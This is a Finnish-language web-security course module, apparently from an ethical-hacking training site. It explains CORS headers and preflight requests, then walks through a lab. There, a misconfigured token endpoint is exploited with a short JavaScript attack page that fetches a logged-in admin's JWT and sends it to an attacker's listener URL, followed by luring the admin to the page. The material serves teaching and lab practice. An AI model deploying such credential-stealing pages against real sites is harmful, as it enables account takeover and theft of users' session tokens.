Selainturvallisuus - CORS (Cross-Origin Resource Sharing) - Selaimen Epäturvallisuustoiminto
Mikä on CORS?
Viime moduulissa kävimme läpi saman alkuperän politiikan (Same Origin Policy / SOP), jonka tarkoitus on eristää saman selaimen eri ikkunoissa tai välilehdissä olevat verkkosivut toisistaan, kuitenkin mahdollistaen vuorovaikutus eri sivustojen välillä.
Siinä missä SOP on turvallisuusominaisuus, CORS (Cross-Origin Resource Sharing) on turvattomuusominaisuus. Sen ainoa tarkoitus on vapaaehtoisesti luopua joistakin niistä suojista joita SOP antaa, ja väärinymmärrettynä sillä saa nopeasti vakavia tietoturva-aukkoja tehtyä web-sovellukseen.
CORS:illa voi:
- Antaa vieraan web-sovelluksen lukea vastaukset HTTP-pyyntöihin joita sovellus lähettää sinun sovellukseesi.
- Antaa vieraan web-sovelluksen lähettää sellaisia evästeillä varustettuja HTTP-pyyntöjä sovellukseesi, joita ei normaalisti saisi lähettää.
- Antaa vieraan web-sovelluksen lähettää evästeillä varustettuja HTTP-pyyntöjä sovellukseesi, joissa on sellainen HTTP-verbi (kuten vaikkapa PUT) joka ei ole normaalisti sallittuna.
- Antaa vieraan web-sovelluksen lähettää evästeillä varustettuja HTTP-pyyntöjä sovellukseesi, joissa on sellainen HTTP-otsakkeita tai sellainen sisältötyyppi (Content-Type) joka ei ole normaalisti sallittuna.
- Antaa vieraan web-sovelluksen lukea mitä tahansa otsakkeita sinun sovelluksesi palauttamista HTTP-vastauksista.
CORS otetaan käyttöön palauttamalla Access-Control- alkuisia HTTP-otsakkeita sovelluksesi HTTP-vastauksissa, katsotaan ne läpi seuraavaksi.
Access-Control-Allow-Origin
Ensimmäinen otsikko on Access-Control-Allow-Origin. Kehittäjät voivat käyttää sitä myöntäessään vieraille sivustoille lukuluvan verkkosivuston resursseille (joka on oletuksena kielletty SOP toimesta).
Mahdolliset arvot ovat tietty alkuperä (kuten https://www.hakatemia.fi) tai mikä tahansa alkuperä (*).
Esimerkki tietystä alkuperästä: Access-Control-Allow-Origin: https://www.hakatemia.fi
Esimerkki wildcard (tähti) alkuperästä:
Access-Control-Allow-Origin: *
Useampi alkuperä ei ole tuettu
Access-Control-Allow-Origin tosiaan tukee vain kahta vaihtoehtoa, yksi tietty alkuperä tai sitten kaikki. Ei ole (valitettavasti) mahdollista tehdä jotain tämän kaltaista:
Access-Control-Allow-Origin: https://www.hakatemia.fi, https://www.example.com
Rajoitus wildcardin (tähti) käytössä
Et voi käyttää tähteä (mitä tahansa alkuperää) Access-Control-Allow-Origin arvona, jos olet myös sallinut CORS evästeet Access-Control-Allow-Credentials otsakkeella. Tulemme kohta siihen.
Miten voin tukea useampaa CORS -alkuperää?
Käytännössä tämä rajoitus on ratkaistu generoimalla Access-Control-Allow-Origin otsake dynaamisesti koodissa joka HTTP-vastaukseen. Selaimet lähettävät alkuperän (origin) Origin -nimisessä otsakkeessa, jonka arvon voi koodissa lukea ja katsoa sitten, onko se listassa sallittuja origin -arvoja. Jos on, niin voidaan lisätä ko. sallittu origin kyseisen pyynnön HTTP-vastaukseen.
Tässä pitää vain olla tarkkana, ettei tule sallineeksi jotain alkuperää jota ei ollut tarkoitus. Kannattaa käyttää hyvämaineisia, vaikiintuneita CORS-sovelluskirjastoja tai web/sovellusalustan asetuksia tähän.
Access-Control-Allow-Credentials
Oletusarvoisesti CORS ei salli autentikoituja (authenticated) HTTP-pyyntöjä (jotka sisältävät esimerkiksi selaimen käyttäjän evästeet tai varmenteen). Autentikoidut CORS-pyynnöt antavat sivustoille, joille oikeus on myönnetty, täyden luku- ja kirjoitusoikeuden selaimen käyttäjän tietoihin sovelluksessa.
Jos haluat silti ottaa sen käyttöön, voit käyttää Access-Control-Allow-Credentials otsikkoa näin:
Access-Control-Allow-Credentials: true
Huomaa vain edellä mainittu rajoitus: tämä ei toimi jos Access-Control-Allow-Origin arvo on tähti (mikä tahansa alkuperä).
Huomaa myös, että jos eväste on suojattu SameSite attribuutilla (Lax tai Strict, kumpi tahansa), niin selain ei suostu lähettämään sitä vieraalle sivustolle CORS-määrityksestä huolimatta. SameSite Lax on päällä oletusarvoisesti monissa uusissa selaimissa. Opit SameSite-attribuutista ja evästeiden turvallisuudesta toisessa moduulissa.
Access-Control-Allow-Headers
Jos haluat lähettää mukautettuja otsikoita tai poistaa rajoituksen sisältötyyppi (Content-Type) otsakkeesta esimerkiksi JSON-pyyntöjen lähettämiseen, voit käyttää Access-Control-Allow-Headers otsikkoa esimerkiksi näin: .
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Methods
Jos haluat että vieras sivusto voi lähettää web-sovellukseesi muutakin kuin GET, POST, HEAD ja OPTIONS -pyyntöjä, tai jos haluat rajata sallitut metodit pienemmäksi kun oletuksena sallittuna oleva valikoima, voit listata haluamasi HTTP-metodit Access-Control-Allow-Methods otsakkeella:
Access-Control-Allow-Methods: GET, POST, PATCH
Metodit on pakko listata jos sinulla on CORS-käytännössä muita tekijöitä jotka vaativat preflight-requestin. Katsotaan preflight seuraavaksi.
Preflight
Yksinkertaiset pyynnöt sallittujen luetteloon lisätyillä HTTP-verbeillä, otsikoilla ja sisältötyypeillä lähetetään aina, mutta vastauksen lukeminen vaatii että vastauksessa on mukana asianmukaiset CORS-otsakkeet.
Mutta mistä tietää, saako selain vaikkapa lähettää PUT-pyyntöä vai ei? Jos sen tietäisi vasta PUT-pyynnön vastauksesta (onko siinä CORS-headerit jotka sallivat PUT-pyynnöt), olisi jo myöhäistä, koska pyyntö olisi jo lähetetty.
Se on hyvä kysymys, ja vastaus on yksinkertainen: lähetämme kaksi pyyntöä.
Selain lähettää ensin OPTIONS -pyynnön, jonka mukana on Origin request headeri. Tähän OPTIONS pyyntöön web-palvelin voi palauttaa CORS-otsakkeet, joiden perusteella selain tietää, voidaanko jatkaa (tässä tapauksessa lähettää PUT-pyyntö) vai näytetäänkö virhe selaimen konsolissa ja lopetetaan.
Tätä ensimmäistä OPTIONS -pyyntöä kutsutaan preflight, tai suoraan suomennettuna “esilento” pyynnöksi.
Harjoitus
Tehdään hyökkäys hyväksikäyttäen sovelluksen virheellistä CORS-konfiguraatiota jolla otetaan admin-käyttäjän tili haltuun. Käynnistä harjoitus ja lue eteenpäin.
Vaarallinen CORS Konfiguraatio
Tässä labrassa huijaat järjestelmänvalvojan siirtymään haitalliselle verkkosivustolle, joka käyttää virheellisesti määritettyä CORS-päätepistettä varastaakseen järjestelmänvalvojan tunnuksen. Tämän jälkeen käytät admin-käyttäjän istunto-tokenia lipun lukemiseen.
Tehtävä
Lue lippu /api/v1/flag endpointista.
Tehtävät
Flag
Löydä lippu (flag) labraympäristöstä ja syötä se alle.
Haavoituvuuden löytäminen
Kirjaudu labrasovellukseen selaimella jossa on BurpSuite välissä, jotta näet HTTP-liikenteen. HTTP-historiasta sinun pitäisi löytää GET /auth/token pyyntö. Lähetä se repeaterille.
GET /auth/token HTTP/1.1
Host: www-7zepddd9r9.ha-target.com
Cookie: SessionId=.eJwljklqA0EMAP_...
HTTP/1.1 201 CREATED
Content-Type: application/json
...
{"token":"eyJ0eXAiOi...""}
Tässä vaiheessa vastauksessa ei näy vielä mitään haavoittuvuuteen viittaavaa. Kyseessä on ihan normaali token-endpoint josta saa haettua evästeen perusteella JWT-tokenin, jolla voi sitten tyypillisesti kutsua jotain rajapintaa.
Sovellukset palauttavat CORS-otsakkeensa yleensä vasta kun on pakko, eli kun selaimelta tulee sellainen pyyntö, jossa on Origin -otsake määritettynä. Lisää siis se HTTP-pyyntöön, voit käyttää vaikka https://www.example.com arvona.
GET /auth/token HTTP/1.1
Host: www-7zepddd9r9.ha-target.com
Origin: https://www.example.com
Cookie: SessionId=.eJwljklqA0EMAP_...
HTTP/1.1 201 CREATED
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
...
{"token":"eyJ0eXAiOi...""}
Ohhoh, sovelluksen CORS-asetukset on tehty äärimmäisen vaarallisesti. Ensinnäkin sovellus hyväksyy minkä tahansa alkuperän, ja toisekseen sovellus palauttaa Access-Control-Allow-Credentials: true joka sallii vielä evästeidenkin lähetyksen CORS-pyynnön mukana.
Hyökkäyksen kulku
Hyökkäys kulkee seuraavasti:
- Luodaan HTML-sivu joka hakee tokenin labrasovelluksen /auth/token endpointista kirjautuneen käyttäjän evästeillä ja lähettää sen hyökkääjän kuuntelijaan.
- Huijataan labrasovelluksen admin-käyttäjä vierailemaan sivustolla (käytetään tässä linkinjakopalvelua hyväksi).
- Odotetaan että saadaan adminin token kuuntelijaan, ja sitten haetaan lippu adminin tokenilla.
Hyökkääjän kuuntelija
Voit seurata hyökkääjän web-palvelun lokeja käynnistämällä terminaali VSCodesta ja ajamalla seuraava komento:
tail -f /var/log/apache2/access.log

Hyökkäyssivu
Avaa root/web/index.html tiedosto ja lisää sinne seuraava HTML:
<script>
const kuuntelijaUrl = "https://web-SINUN_LABRAN_ID.ha-student.com";
const labraUrl = "https://www-SINUN_LABRAN_ID.ha-target.com"
async function attack() {
const res = await fetch(labraUrl + "/auth/token", {mode: 'cors', credentials: "include"})
const resJson = await res.json();
const token = resJson.token;
await fetch(kuuntelijaUrl + "/?token=" + token)
}
attack();
</script>

Kokeile itselläsi
Kirjaudu sovellukseen student-käyttäjänä ja vieraile sen jälkeen samassa selaimessa hyökkäyssivulla. Sinun pitäisi nähdä tyhjä sivu, mutta jos katsot burpista HTTP-historiaa, sinun pitäisi nähdä kuinka token haetaan ja postitetaan sitten hyökkääjän kuuntelijaan.

Tarkista myös kuuntelija, sinne pitäisi olla ilmestynyt oma tokenisi.

Hyökkäys
On aika ottaa admin-käyttäjän tili haltuun. Jaa linkki palveluun ja odota että admin käy klikkaamassa sitä.

Kun kuuntelijaasi ilmestyy admini token, voit käydä hakemassa /api/v1/flag endpointista lipun antamalla tokeni "Authorization" headerina.
Pysy menossa mukana!
Tilaa Hakatemian uutiskirje niin saat hyödyllistä tietoa eettisestä hakkeroinnista, kyberturvallisuudesta ja Hakatemiasta. Voit perua tilauksen koska tahansa. Tietojasi käsitellään Hakatemian tietosuojaselosteen mukaisesti.